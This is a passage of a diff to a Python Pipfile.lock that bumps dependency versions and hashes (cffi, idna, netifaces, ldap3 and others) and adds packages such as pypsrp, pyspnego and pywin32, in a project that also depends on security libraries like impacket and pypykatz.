"sha256:f7e119cf3e0f4a36100f0e983583afa91a84fb27c479a1716820aee4f2e190ab" + "sha256:8c99abd7093ab11ce8d09c68732aeeb6065a53d2fe371568452e99291817fff5", + "sha256:b9e2c90bad164d111c229102f58f995c28576e719dd116b446965e1b786f8fa5" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4, 3.5'", - "version": "==1.20.97" + "markers": "python_version >= '3.6'", + "version": "==1.21.27" }, "certifi": { "hashes": [ @@ -92,58 +92,54 @@ }, "cffi": { "hashes": [ - "sha256:005a36f41773e148deac64b08f233873a4d0c18b053d37da83f6af4d9087b813", - "sha256:04c468b622ed31d408fea2346bec5bbffba2cc44226302a0de1ade9f5ea3d373", - "sha256:06d7cd1abac2ffd92e65c0609661866709b4b2d82dd15f611e602b9b188b0b69", - "sha256:06db6321b7a68b2bd6df96d08a5adadc1fa0e8f419226e25b2a5fbf6ccc7350f", - "sha256:0857f0ae312d855239a55c81ef453ee8fd24136eaba8e87a2eceba644c0d4c06", - "sha256:0f861a89e0043afec2a51fd177a567005847973be86f709bbb044d7f42fc4e05", - "sha256:1071534bbbf8cbb31b498d5d9db0f274f2f7a865adca4ae429e147ba40f73dea", - "sha256:158d0d15119b4b7ff6b926536763dc0714313aa59e320ddf787502c70c4d4bee", - "sha256:1bf1ac1984eaa7675ca8d5745a8cb87ef7abecb5592178406e55858d411eadc0", - "sha256:1f436816fc868b098b0d63b8920de7d208c90a67212546d02f84fe78a9c26396", - "sha256:24a570cd11895b60829e941f2613a4f79df1a27344cbbb82164ef2e0116f09c7", - "sha256:24ec4ff2c5c0c8f9c6b87d5bb53555bf267e1e6f70e52e5a9740d32861d36b6f", - "sha256:2894f2df484ff56d717bead0a5c2abb6b9d2bf26d6960c4604d5c48bbc30ee73", - "sha256:29314480e958fd8aab22e4a58b355b629c59bf5f2ac2492b61e3dc06d8c7a315", - "sha256:293e7ea41280cb28c6fcaaa0b1aa1f533b8ce060b9e701d78511e1e6c4a1de76", - "sha256:34eff4b97f3d982fb93e2831e6750127d1355a923ebaeeb565407b3d2f8d41a1", - "sha256:35f27e6eb43380fa080dccf676dece30bef72e4a67617ffda586641cd4508d49", - "sha256:3c3f39fa737542161d8b0d680df2ec249334cd70a8f420f71c9304bd83c3cbed", - "sha256:3d3dd4c9e559eb172ecf00a2a7517e97d1e96de2a5e610bd9b68cea3925b4892", - "sha256:43e0b9d9e2c9e5d152946b9c5fe062c151614b262fda2e7b201204de0b99e482", - "sha256:48e1c69bbacfc3d932221851b39d49e81567a4d4aac3b21258d9c24578280058", - "sha256:51182f8927c5af975fece87b1b369f722c570fe169f9880764b1ee3bca8347b5", - "sha256:58e3f59d583d413809d60779492342801d6e82fefb89c86a38e040c16883be53", - "sha256:5de7970188bb46b7bf9858eb6890aad302577a5f6f75091fd7cdd3ef13ef3045", - "sha256:65fa59693c62cf06e45ddbb822165394a288edce9e276647f0046e1ec26920f3", - "sha256:681d07b0d1e3c462dd15585ef5e33cb021321588bebd910124ef4f4fb71aef55", - "sha256:69e395c24fc60aad6bb4fa7e583698ea6cc684648e1ffb7fe85e3c1ca131a7d5", - "sha256:6c97d7350133666fbb5cf4abdc1178c812cb205dc6f41d174a7b0f18fb93337e", - "sha256:6e4714cc64f474e4d6e37cfff31a814b509a35cb17de4fb1999907575684479c", - "sha256:72d8d3ef52c208ee1c7b2e341f7d71c6fd3157138abf1a95166e6165dd5d4369", - "sha256:8ae6299f6c68de06f136f1f9e69458eae58f1dacf10af5c17353eae03aa0d827", - "sha256:8b198cec6c72df5289c05b05b8b0969819783f9418e0409865dac47288d2a053", - "sha256:99cd03ae7988a93dd00bcd9d0b75e1f6c426063d6f03d2f90b89e29b25b82dfa", - "sha256:9cf8022fb8d07a97c178b02327b284521c7708d7c71a9c9c355c178ac4bbd3d4", - "sha256:9de2e279153a443c656f2defd67769e6d1e4163952b3c622dcea5b08a6405322", - "sha256:9e93e79c2551ff263400e1e4be085a1210e12073a31c2011dbbda14bda0c6132", - "sha256:9ff227395193126d82e60319a673a037d5de84633f11279e336f9c0f189ecc62", - "sha256:a465da611f6fa124963b91bf432d960a555563efe4ed1cc403ba5077b15370aa", - "sha256:ad17025d226ee5beec591b52800c11680fca3df50b8b29fe51d882576e039ee0", - "sha256:afb29c1ba2e5a3736f1c301d9d0abe3ec8b86957d04ddfa9d7a6a42b9367e396", - "sha256:b85eb46a81787c50650f2392b9b4ef23e1f126313b9e0e9013b35c15e4288e2e", - "sha256:bb89f306e5da99f4d922728ddcd6f7fcebb3241fc40edebcb7284d7514741991", - "sha256:cbde590d4faaa07c72bf979734738f328d239913ba3e043b1e98fe9a39f8b2b6", - "sha256:cc5a8e069b9ebfa22e26d0e6b97d6f9781302fe7f4f2b8776c3e1daea35f1adc", - "sha256:cd2868886d547469123fadc46eac7ea5253ea7fcb139f12e1dfc2bbd406427d1", - "sha256:d42b11d692e11b6634f7613ad8df5d6d5f8875f5d48939520d351007b3c13406", - "sha256:df5052c5d867c1ea0b311fb7c3cd28b19df469c056f7fdcfe88c7473aa63e333", - "sha256:f2d45f97ab6bb54753eab54fffe75aaf3de4ff2341c9daee1987ee1837636f1d", - "sha256:fd78e5fee591709f32ef6edb9a015b4aa1a5022598e36227500c8f4e02328d9c" + "sha256:06c54a68935738d206570b20da5ef2b6b6d92b38ef3ec45c5422c0ebaf338d4d", + "sha256:0c0591bee64e438883b0c92a7bed78f6290d40bf02e54c5bf0978eaf36061771", + "sha256:19ca0dbdeda3b2615421d54bef8985f72af6e0c47082a8d26122adac81a95872", + "sha256:22b9c3c320171c108e903d61a3723b51e37aaa8c81255b5e7ce102775bd01e2c", + "sha256:26bb2549b72708c833f5abe62b756176022a7b9a7f689b571e74c8478ead51dc", + "sha256:33791e8a2dc2953f28b8d8d300dde42dd929ac28f974c4b4c6272cb2955cb762", + "sha256:3c8d896becff2fa653dc4438b54a5a25a971d1f4110b32bd3068db3722c80202", + "sha256:4373612d59c404baeb7cbd788a18b2b2a8331abcc84c3ba40051fcd18b17a4d5", + "sha256:487d63e1454627c8e47dd230025780e91869cfba4c753a74fda196a1f6ad6548", + "sha256:48916e459c54c4a70e52745639f1db524542140433599e13911b2f329834276a", + "sha256:4922cd707b25e623b902c86188aca466d3620892db76c0bdd7b99a3d5e61d35f", + "sha256:55af55e32ae468e9946f741a5d51f9896da6b9bf0bbdd326843fec05c730eb20", + "sha256:57e555a9feb4a8460415f1aac331a2dc833b1115284f7ded7278b54afc5bd218", + "sha256:5d4b68e216fc65e9fe4f524c177b54964af043dde734807586cf5435af84045c", + "sha256:64fda793737bc4037521d4899be780534b9aea552eb673b9833b01f945904c2e", + "sha256:6d6169cb3c6c2ad50db5b868db6491a790300ade1ed5d1da29289d73bbe40b56", + "sha256:7bcac9a2b4fdbed2c16fa5681356d7121ecabf041f18d97ed5b8e0dd38a80224", + "sha256:80b06212075346b5546b0417b9f2bf467fea3bfe7352f781ffc05a8ab24ba14a", + "sha256:818014c754cd3dba7229c0f5884396264d51ffb87ec86e927ef0be140bfdb0d2", + "sha256:8eb687582ed7cd8c4bdbff3df6c0da443eb89c3c72e6e5dcdd9c81729712791a", + "sha256:99f27fefe34c37ba9875f224a8f36e31d744d8083e00f520f133cab79ad5e819", + "sha256:9f3e33c28cd39d1b655ed1ba7247133b6f7fc16fa16887b120c0c670e35ce346", + "sha256:a8661b2ce9694ca01c529bfa204dbb144b275a31685a075ce123f12331be790b", + "sha256:a9da7010cec5a12193d1af9872a00888f396aba3dc79186604a09ea3ee7c029e", + "sha256:aedb15f0a5a5949ecb129a82b72b19df97bbbca024081ed2ef88bd5c0a610534", + "sha256:b315d709717a99f4b27b59b021e6207c64620790ca3e0bde636a6c7f14618abb", + "sha256:ba6f2b3f452e150945d58f4badd92310449876c4c954836cfb1803bdd7b422f0", + "sha256:c33d18eb6e6bc36f09d793c0dc58b0211fccc6ae5149b808da4a62660678b156", + "sha256:c9a875ce9d7fe32887784274dd533c57909b7b1dcadcc128a2ac21331a9765dd", + "sha256:c9e005e9bd57bc987764c32a1bee4364c44fdc11a3cc20a40b93b444984f2b87", + "sha256:d2ad4d668a5c0645d281dcd17aff2be3212bc109b33814bbb15c4939f44181cc", + "sha256:d950695ae4381ecd856bcaf2b1e866720e4ab9a1498cba61c602e56630ca7195", + "sha256:e22dcb48709fc51a7b58a927391b23ab37eb3737a98ac4338e2448bef8559b33", + "sha256:e8c6a99be100371dbb046880e7a282152aa5d6127ae01783e37662ef73850d8f", + "sha256:e9dc245e3ac69c92ee4c167fbdd7428ec1956d4e754223124991ef29eb57a09d", + "sha256:eb687a11f0a7a1839719edd80f41e459cc5366857ecbed383ff376c4e3cc6afd", + "sha256:eb9e2a346c5238a30a746893f23a9535e700f8192a68c07c0258e7ece6ff3728", + "sha256:ed38b924ce794e505647f7c331b22a693bee1538fdf46b0222c4717b42f744e7", + "sha256:f0010c6f9d1a4011e429109fda55a225921e3206e7f62a0c22a35344bfd13cca", + "sha256:f0c5d1acbfca6ebdd6b1e3eded8d261affb6ddcf2186205518f1428b8569bb99", + "sha256:f10afb1004f102c7868ebfe91c28f4a712227fe4cb24974350ace1f90e1febbf", + "sha256:f174135f5609428cc6e1b9090f9268f5c8935fddb1b25ccb8255a2d50de6789e", + "sha256:f3ebe6e73c319340830a9b2825d32eb6d8475c1dac020b4f0aa774ee3b898d1c", + "sha256:f627688813d0a4140153ff532537fbe4afea5a3dffce1f9deb7f91f848a832b5", + "sha256:fd4305f86f53dfd8cd3522269ed7fc34856a8ee3709a5e28b2836b2db9d4cd69" ], "index": "pypi", - "version": "==1.14.5" + "version": "==1.14.6" }, "chardet": { "hashes": [ @@ -153,6 +149,14 @@ "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", "version": "==4.0.0" }, + "charset-normalizer": { + "hashes": [ + "sha256:0c8911edd15d19223366a194a513099a302055a962bca2cec0f54b8b63175d8b", + "sha256:f23667ebe1084be45f6ae0538e4a5a865206544097e4e8bbcacf42cd02a348f3" + ], + "markers": "python_version >= '3'", + "version": "==2.0.4" + }, "cheroot": { "hashes": [ "sha256:7ba11294a83468a27be6f06066df8a0f17d954ad05945f28d228aa3f4cd1b03c", @@ -163,11 +167,11 @@ }, "cherrypy": { "hashes": [ - "sha256:56608edd831ad00991ae585625e0206ed61cf1a0850e4b2cc48489fb2308c499", - "sha256:c0a7283f02a384c112a0a18404fd3abd849fc7fd4bec19378067150a2573d2e4" + "sha256:55659e6f012d374898d6d9d581e17cc1477b6a14710218e64f187b9227bea038", + "sha256:f33e87286e7b3e309e04e7225d8e49382d9d7773e6092241d7f613893c563495" ], "markers": "python_version >= '3.5'", - "version": "==18.6.0" + "version": "==18.6.1" }, "cherrypy-cors": { "hashes": [ @@ -185,6 +189,14 @@ "markers": "python_version >= '3.6'", "version": "==8.0.1" }, + "colorama": { + "hashes": [ + "sha256:5941b2b48a20143d2267e95b1c2a7603ce057ee39fd88e7329b0c292aa16869b", + "sha256:9f47eda37229f68eee03b24b9748937c7dc3868f906e8ba69fbcbdd3bc5dc3e2" + ], + "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", + "version": "==0.4.4" + }, "coloredlogs": { "hashes": [ "sha256:34fad2e342d5a559c31b6c889e8d14f97cb62c47d9a2ae7b5ed14ea10a79eff8", @@ -264,11 +276,11 @@ }, "idna": { "hashes": [ - "sha256:b307872f855b18632ce0c21c5e45be78c0ea7ae4c15c828c20788b26921eb3f6", - "sha256:b97d804b1e9b523befed77c48dacec60e6dcb0b5391d57af6a65a312a90648c0" + "sha256:14475042e284991034cb48e06f6851428fb14c4dc953acd9be9a5e95c7b6dd7a", + "sha256:467fbad99067910785144ce333826c71fb0e63a425657295239737f7ecd125f3" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3'", - "version": "==2.10" + "markers": "python_version >= '3'", + "version": "==3.2" }, "impacket": { "hashes": [ @@ -311,11 +323,11 @@ }, "jaraco.collections": { "hashes": [ - "sha256:3662267424b55f10bf15b6f5dee6a6e48a2865c0ec50cc7a16040c81c55a98dc", - "sha256:fa45052d859a7c28aeef846abb5857b525a1b9ec17bd4118b78e43a222c5a2f1" + "sha256:344d14769d716e7496af879ac71b3c6ebdd46abc64bd9ec21d15248365aa3ac9", + "sha256:6fdf48b6268d44b589a9d7359849f5c4ea6447b59845e489da261996fbc41b79" ], "markers": "python_version >= '3.6'", - "version": "==3.3.0" + "version": "==3.4.0" }, "jaraco.functools": { "hashes": [ @@ -327,11 +339,11 @@ }, "jaraco.text": { "hashes": [ - "sha256:b647f2bf912e201bfefd01d691bf5d603a94f2b3f998129e4fea595873a25613", - "sha256:f07f1076814a17a98eb915948b9a0dc71b1891c833588066ec1feb04ea4389b1" + "sha256:dc900b7916cefdaf943fbd43870abc8b0a6ff68f2c8c33e212fd51139219f68d", + "sha256:ede4e9103443b62b3d1d193257dfb85aab7c69a6cef78a0887d64bb307a03bc3" ], "markers": "python_version >= '3.6'", - "version": "==3.5.0" + "version": "==3.5.1" }, "jinja2": { "hashes": [ @@ -351,13 +363,13 @@ }, "ldap3": { "hashes": [ - "sha256:18c3ee656a6775b9b0d60f7c6c5b094d878d1d90fc03d56731039f0a4b546a91", - "sha256:4139c91f0eef9782df7b77c8cbc6243086affcb6a8a249b768a9658438e5da59", - "sha256:8c949edbad2be8a03e719ba48bd6779f327ec156929562814b3e84ab56889c8c", - "sha256:afc6fc0d01f02af82cd7bfabd3bbfd5dc96a6ae91e97db0a2dab8a0f1b436056", - "sha256:c1df41d89459be6f304e0ceec4b00fdea533dbbcd83c802b1272dcdb94620b57" + "sha256:2bc966556fc4d4fa9f445a1c31dc484ee81d44a51ab0e2d0fd05b62cac75daa6", + "sha256:5630d1383e09ba94839e253e013f1aa1a2cf7a547628ba1265cb7b9a844b5687", + "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70", + "sha256:5ab7febc00689181375de40c396dcad4f2659cd260fc5e94c508b6d77c17e9d5", + "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f" ], - "version": "==2.9" + "version": "==2.9.1" }, "ldapdomaindump": { "hashes": [ @@ -374,30 +386,50 @@ "sha256:0446679737af14f45767963a1a9ef7620189912317d095f2d9ffa183a4d25d2b", "sha256:0717a7390a68be14b8c793ba258e075c6f4ca819f15edfc2a3a027c823718567", "sha256:0955295dd5eec6cb6cc2fe1698f4c6d84af2e92de33fbcac4111913cd100a6ff", + "sha256:0d4b31cc67ab36e3392bbf3862cfbadac3db12bdd8b02a2731f509ed5b829724", "sha256:10f82115e21dc0dfec9ab5c0223652f7197feb168c940f3ef61563fc2d6beb74", + "sha256:168cd0a3642de83558a5153c8bd34f175a9a6e7f6dc6384b9655d2697312a646", "sha256:1d609f577dc6e1aa17d746f8bd3c31aa4d258f4070d61b2aa5c4166c1539de35", + "sha256:1f2ade76b9903f39aa442b4aadd2177decb66525062db244b35d71d0ee8599b6", + "sha256:2a7d351cbd8cfeb19ca00de495e224dea7e7d919659c2841bbb7f420ad03e2d6", + "sha256:2d7d807855b419fc2ed3e631034685db6079889a1f01d5d9dac950f764da3dad", "sha256:2ef54abee730b502252bcdf31b10dacb0a416229b72c18b19e24a4509f273d26", + "sha256:36bc903cbb393720fad60fc28c10de6acf10dc6cc883f3e24ee4012371399a38", + "sha256:37205cac2a79194e3750b0af2a5720d95f786a55ce7df90c3af697bfa100eaac", "sha256:3c112550557578c26af18a1ccc9e090bfe03832ae994343cfdacd287db6a6ae7", + "sha256:3dd007d54ee88b46be476e293f48c85048603f5f516008bee124ddd891398ed6", "sha256:47ab1e7b91c098ab893b828deafa1203de86d0bc6ab587b160f78fe6c4011f75", "sha256:49e3ceeabbfb9d66c3aef5af3a60cc43b85c33df25ce03d0031a608b0a8b2e3f", "sha256:4efca8f86c54b22348a5467704e3fec767b2db12fc39c6d963168ab1d3fc9135", "sha256:53edb4da6925ad13c07b6d26c2a852bd81e364f95301c66e930ab2aef5b5ddd8", + "sha256:5855f8438a7d1d458206a2466bf82b0f104a3724bf96a1c781ab731e4201731a", "sha256:594c67807fb16238b30c44bdf74f36c02cdf22d1c8cda91ef8a0ed8dabf5620a", + "sha256:5bb28c636d87e840583ee3adeb78172efc47c8b26127267f54a9c0ec251d41a9", + "sha256:60bf42e36abfaf9aff1f50f52644b336d4f0a3fd6d8a60ca0d054ac9f713a864", "sha256:611d1ad9a4288cf3e3c16014564df047fe08410e628f89805e475368bd304914", "sha256:6557b31b5e2c9ddf0de32a691f2312a32f77cd7681d8af66c2692efdbef84c18", "sha256:693ce3f9e70a6cf7d2fb9e6c9d8b204b6b39897a2c4a1aa65728d5ac97dcc1d8", "sha256:6a7fae0dd14cf60ad5ff42baa2e95727c3d81ded453457771d02b7d2b3f9c0c2", "sha256:6c4ca60fa24e85fe25b912b01e62cb969d69a23a5d5867682dd3e80b5b02581d", + "sha256:6fcf051089389abe060c9cd7caa212c707e58153afa2c649f00346ce6d260f1b", "sha256:7d91275b0245b1da4d4cfa07e0faedd5b0812efc15b702576d103293e252af1b", "sha256:905fec760bd2fa1388bb5b489ee8ee5f7291d692638ea5f67982d968366bef9f", "sha256:97383d78eb34da7e1fa37dd273c20ad4320929af65d156e35a5e2d89566d9dfb", "sha256:984d76483eb32f1bcb536dc27e4ad56bba4baa70be32fa87152832cdd9db0833", + "sha256:99df47edb6bda1249d3e80fdabb1dab8c08ef3975f69aed437cb69d0a5de1e28", "sha256:a30e67a65b53ea0a5e62fe23682cfe22712e01f453b95233b25502f7c61cb415", "sha256:ab3ef638ace319fa26553db0624c4699e31a28bb2a835c5faca8f8acf6a5a902", + "sha256:add36cb2dbb8b736611303cd3bfcee00afd96471b09cda130da3581cbdc56a6d", "sha256:b2f4bf27480f5e5e8ce285a8c8fd176c0b03e93dcc6646477d4630e83440c6a9", "sha256:b7f2d075102dc8c794cbde1947378051c4e5180d52d276987b8d28a3bd58c17d", + "sha256:baa1a4e8f868845af802979fcdbf0bb11f94f1cb7ced4c4b8a351bb60d108145", "sha256:be98f628055368795d818ebf93da628541e10b75b41c559fdf36d104c5787066", + "sha256:bf5d821ffabf0ef3533c39c518f3357b171a1651c1ff6827325e4489b0e46c3c", + "sha256:c47adbc92fc1bb2b3274c4b3a43ae0e4573d9fbff4f54cd484555edbf030baf1", "sha256:d7f9850398e85aba693bb640262d3611788b1f29a79f0c93c565694658f4071f", + "sha256:d8446c54dc28c01e5a2dbac5a25f071f6653e6e40f3a8818e8b45d790fe6ef53", + "sha256:e0f138900af21926a02425cf736db95be9f4af72ba1bb21453432a07f6082134", + "sha256:e9936f0b261d4df76ad22f8fee3ae83b60d7c3e871292cd42f40b81b70afae85", "sha256:f5653a225f31e113b152e56f154ccbe59eeb1c7487b39b9d9f9cdb58e6c79dc5", "sha256:f826e31d18b516f653fe296d967d700fddad5901ae07c622bb3705955e1faa94", "sha256:f8ba0e8349a38d3001fae7eadded3f6606f0da5d748ee53cc1dab1d6527b9509", @@ -448,31 +480,39 @@ }, "netifaces": { "hashes": [ - "sha256:078986caf4d6a602a4257d3686afe4544ea74362b8928e9f4389b5cd262bc215", - "sha256:0c4304c6d5b33fbd9b20fdc369f3a2fef1a8bbacfb6fd05b9708db01333e9e7b", - "sha256:2dee9ffdd16292878336a58d04a20f0ffe95555465fee7c9bd23b3490ef2abf3", - "sha256:3095218b66d359092b82f07c5422293c2f6559cf8d36b96b379cc4cdc26eeffa", - "sha256:30ed89ab8aff715caf9a9d827aa69cd02ad9f6b1896fd3fb4beb998466ed9a3c", - "sha256:4921ed406386246b84465950d15a4f63480c1458b0979c272364054b29d73084", - "sha256:563a1a366ee0fb3d96caab79b7ac7abd2c0a0577b157cc5a40301373a0501f89", - "sha256:5b3167f923f67924b356c1338eb9ba275b2ba8d64c7c2c47cf5b5db49d574994", - "sha256:6d84e50ec28e5d766c9911dce945412dc5b1ce760757c224c71e1a9759fa80c2", - "sha256:755050799b5d5aedb1396046f270abfc4befca9ccba3074f3dbbb3cb34f13aae", - "sha256:75d3a4ec5035db7478520ac547f7c176e9fd438269e795819b67223c486e5cbe", - "sha256:7a25a8e28281504f0e23e181d7a9ed699c72f061ca6bdfcd96c423c2a89e75fc", - "sha256:7cc6fd1eca65be588f001005446a47981cbe0b2909f5be8feafef3bf351a4e24", - "sha256:86b8a140e891bb23c8b9cb1804f1475eb13eea3dbbebef01fcbbf10fbafbee42", - "sha256:ad10acab2ef691eb29a1cc52c3be5ad1423700e993cc035066049fa72999d0dc", - "sha256:b2ff3a0a4f991d2da5376efd3365064a43909877e9fabfa801df970771161d29", - "sha256:b47e8f9ff6846756be3dc3fb242ca8e86752cd35a08e06d54ffc2e2a2aca70ea", - "sha256:da298241d87bcf468aa0f0705ba14572ad296f24c4fda5055d6988701d6fd8e1", - "sha256:db881478f1170c6dd524175ba1c83b99d3a6f992a35eca756de0ddc4690a1940", - "sha256:f0427755c68571df37dc58835e53a4307884a48dec76f3c01e33eb0d4a3a81d7", - "sha256:f8885cc48c8c7ad51f36c175e462840f163cb4687eeb6c6d7dfaf7197308e36b", - "sha256:f911b7f0083d445c8d24cfa5b42ad4996e33250400492080f5018a28c026db2b" + "sha256:043a79146eb2907edf439899f262b3dfe41717d34124298ed281139a8b93ca32", + "sha256:08e3f102a59f9eaef70948340aeb6c89bd09734e0dca0f3b82720305729f63ea", + "sha256:0f6133ac02521270d9f7c490f0c8c60638ff4aec8338efeff10a1b51506abe85", + "sha256:18917fbbdcb2d4f897153c5ddbb56b31fa6dd7c3fa9608b7e3c3a663df8206b5", + "sha256:2479bb4bb50968089a7c045f24d120f37026d7e802ec134c4490eae994c729b5", + "sha256:2650beee182fed66617e18474b943e72e52f10a24dc8cac1db36c41ee9c041b7", + "sha256:28f4bf3a1361ab3ed93c5ef360c8b7d4a4ae060176a3529e72e5e4ffc4afd8b0", + "sha256:3ecb3f37c31d5d51d2a4d935cfa81c9bc956687c6f5237021b36d6fdc2815b2c", + "sha256:469fc61034f3daf095e02f9f1bbac07927b826c76b745207287bc594884cfd05", + "sha256:48324183af7f1bc44f5f197f3dad54a809ad1ef0c78baee2c88f16a5de02c4c9", + "sha256:50721858c935a76b83dd0dd1ab472cad0a3ef540a1408057624604002fcfb45b", + "sha256:54ff6624eb95b8a07e79aa8817288659af174e954cca24cdb0daeeddfc03c4ff", + "sha256:5be83986100ed1fdfa78f11ccff9e4757297735ac17391b95e17e74335c2047d", + "sha256:5f9ca13babe4d845e400921973f6165a4c2f9f3379c7abfc7478160e25d196a4", + "sha256:73ff21559675150d31deea8f1f8d7e9a9a7e4688732a94d71327082f517fc6b4", + "sha256:7dbb71ea26d304e78ccccf6faccef71bb27ea35e259fb883cfd7fd7b4f17ecb1", + "sha256:815eafdf8b8f2e61370afc6add6194bd5a7252ae44c667e96c4c1ecf418811e4", + "sha256:841aa21110a20dc1621e3dd9f922c64ca64dd1eb213c47267a2c324d823f6c8f", + "sha256:84e4d2e6973eccc52778735befc01638498781ce0e39aa2044ccfd2385c03246", + "sha256:8f7da24eab0d4184715d96208b38d373fd15c37b0dafb74756c638bd619ba150", + "sha256:96c0fe9696398253f93482c84814f0e7290eee0bfec11563bd07d80d701280c3", + "sha256:aab1dbfdc55086c789f0eb37affccf47b895b98d490738b81f3b2360100426be", + "sha256:c03fb2d4ef4e393f2e6ffc6376410a22a3544f164b336b3a355226653e5efd89", + "sha256:c37a1ca83825bc6f54dddf5277e9c65dec2f1b4d0ba44b8fd42bc30c91aa6ea1", + "sha256:c92ff9ac7c2282009fe0dcb67ee3cd17978cffbe0c8f4b471c00fe4325c9b4d4", + "sha256:c9a3a47cd3aaeb71e93e681d9816c56406ed755b9442e981b07e3618fb71d2ac", + "sha256:cb925e1ca024d6f9b4f9b01d83215fd00fe69d095d0255ff3f64bffda74025c8", + "sha256:d07b01c51b0b6ceb0f09fc48ec58debd99d2c8430b09e56651addeaf5de48048", + "sha256:e76c7f351e0444721e85f975ae92718e21c1f361bda946d60a214061de1f00a1", + "sha256:eb4813b77d5df99903af4757ce980a98c4d702bbcb81f32a0b305a1537bdf0b1" ], "index": "pypi", - "version": "==0.10.9" + "version": "==0.11.0" }, "odict": { "hashes": [ @@ -498,10 +538,10 @@ }, "policyuniverse": { "hashes": [ - "sha256:0079e4963d616b4a865d047810fe146bfc473ea2f2eb41436993af54d6a7cf10", - "sha256:2af34cfac99cb440ac6dc18995d80973be599ca70c228c3a99fff2b1f5feee90" + "sha256:1d5136329b4c4d33b114f8c781ebb2e306ff9dc6969d106ece2567e312b2dd15", + "sha256:a95adcecd8c5b6aafedbf0094217f9251589a5a350b3db54aa55b6cabc26a7ff" ], - "version": "==1.3.7.20210615" + "version": "==1.4.0.20210816" }, "portend": { "hashes": [ @@ -513,11 +553,11 @@ }, "prompt-toolkit": { "hashes": [ - "sha256:08360ee3a3148bdb5163621709ee322ec34fc4375099afa4bbf751e9b7b7fa4f", - "sha256:7089d8d2938043508aa9420ec18ce0922885304cddae87fb96eebca942299f88" + "sha256:6076e46efae19b1e0ca1ec003ed37a933dc94b4d20f486235d436e64771dcd5c", + "sha256:eb71d5a6b72ce6db177af4a7d4d7085b99756bf656d98ffcc4fecd36850eea6c" ], - "markers": "python_full_version >= '3.6.1'", - "version": "==3.0.19" + "markers": "python_full_version >= '3.6.2'", + "version": "==3.0.20" }, "psutil": { "hashes": [ @@ -742,6 +782,14 @@ "index": "pypi", "version": "==19.0.0" }, + "pypsrp": { + "hashes": [ + "sha256:a2eec4d9a1f16208e79c87699129b0fe265be9b423641dbac0798d1e3f225e87", + "sha256:e4d13c84a5a150c75ec5bc8653059fa78e8421172049e0496d1df89ca24d9a6d" + ], + "index": "pypi", + "version": "==0.5.0" + }, "pypykatz": { "hashes": [ "sha256:8acd8d69f7b0ab343c593490a0837871b58b5c322ad54ada2fad0fed049349f3", @@ -750,6 +798,15 @@ "index": "pypi", "version": "==0.3.12" }, + "pyreadline": { + "hashes": [ + "sha256:4530592fc2e85b25b1a9f79664433da09237c1a270e4d78ea5aa3a2c7229e2d1", + "sha256:65540c21bfe14405a3a77e4c085ecfce88724743a4ead47c66b84defcf82c32e", + "sha256:9ce5fa65b8992dfa373bddc5b6e0864ead8f291c94fbfec05fbd5c836162e67b" + ], + "markers": "sys_platform == 'win32'", + "version": "==2.1" + }, "pysmb": { "hashes": [ "sha256:7aedd5e003992c6c78b41a0da4bf165359a46ea25ab2a9a1594d13f471ad7287" @@ -757,6 +814,26 @@ "index": "pypi", "version": "==1.2.5" }, + "pyspnego": { + "hashes": [ + "sha256:0356bccedc033b7266d89503eca50717f81fc9d3b98cb1dd5227bb7c1a9275ae", + "sha256:0940e0bdec72c6266ef9604db929ddda86f1dafe2c804ac3d6e30161a53e414d", + "sha256:44469f7cf2a9435d7115c557db4df6bd6a74ce0056511b88b672b58ff2d477f7", + "sha256:507809d2e1fc8733a4f0801ee59d01db646b41d3ab8b90a6f3a16a17eef3fc37", + "sha256:5701dd50597c0a11b4bd1d3921fd1c32ba3b7ec15c3e273c486870efe673dd52", + "sha256:5be3fa80bc81a11b9254e3800aa350db06b2eb1b9d830f7770a1baadae415185", + "sha256:777c9524e91298b2ec3d728dbb85e44d047ddd857db6c2658d977401fedfcc9c", + "sha256:83d52b9e8b55243fa3711d89e77d94935a60b8638e8659b572dee898d359bbe6", + "sha256:c05aa1efcb9b0cf3c6341c48a6b349c3b669b0d7d99ab65a789c0c1071701136", + "sha256:cc57132ebe7b6b5d14e940bf4069a1206ad0fe23f51281dee4e7979b34a369d3", + "sha256:d3e7d55447cc353765cef6d77b3c57fd02f77ddc83a4fb3b4b696df92f908ae1", + "sha256:e021472424fcb477d9a211437f6a14c2d9cb59e20eeee9ae7992bd7deee50064", + "sha256:ed4fece1a834cc29377f43f4ff459ae7eb7c7d937cfd3e4b46676fe9984c8c74", + "sha256:f90a41f7d31e049f3a2e566f02ce06d86f13bbd2e3796b3af3bdb2be75c6e836" + ], + "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "version": "==0.1.6" + }, "python-dateutil": { "hashes": [ "sha256:7e6584c74aeed623791615e26efd690f29817a27c73085b78e4bad02493df2fb", @@ -772,20 +849,37 @@ ], "version": "==2021.1" }, + "pywin32": { + "hashes": [ + "sha256:595d397df65f1b2e0beaca63a883ae6d8b6df1cdea85c16ae85f6d2e648133fe", + "sha256:87604a4087434cd814ad8973bd47d6524bd1fa9e971ce428e76b62a5e0860fdf", + "sha256:88981dd3cfb07432625b180f49bf4e179fb8cbb5704cd512e38dd63636af7a17", + "sha256:8c9d33968aa7fcddf44e47750e18f3d034c3e443a707688a008a2e52bbef7e96", + "sha256:93367c96e3a76dfe5003d8291ae16454ca7d84bb24d721e0b74a07610b7be4a7", + "sha256:9635df6998a70282bd36e7ac2a5cef9ead1627b0a63b17c731312c7a0daebb72", + "sha256:98f62a3f60aa64894a290fb7494bfa0bfa0a199e9e052e1ac293b2ad3cd2818b", + "sha256:c866f04a182a8cb9b7855de065113bbd2e40524f570db73ef1ee99ff0a5cc2f0", + "sha256:dafa18e95bf2a92f298fe9c582b0e205aca45c55f989937c52c454ce65b93c78", + "sha256:fb3b4933e0382ba49305cc6cd3fb18525df7fd96aa434de19ce0878133bf8e4a" + ], + "markers": "python_version < '3.10' and sys_platform == 'win32' and implementation_name == 'cpython'", + "version": "==301" + }, "requests": { "hashes": [ - "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", - "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + 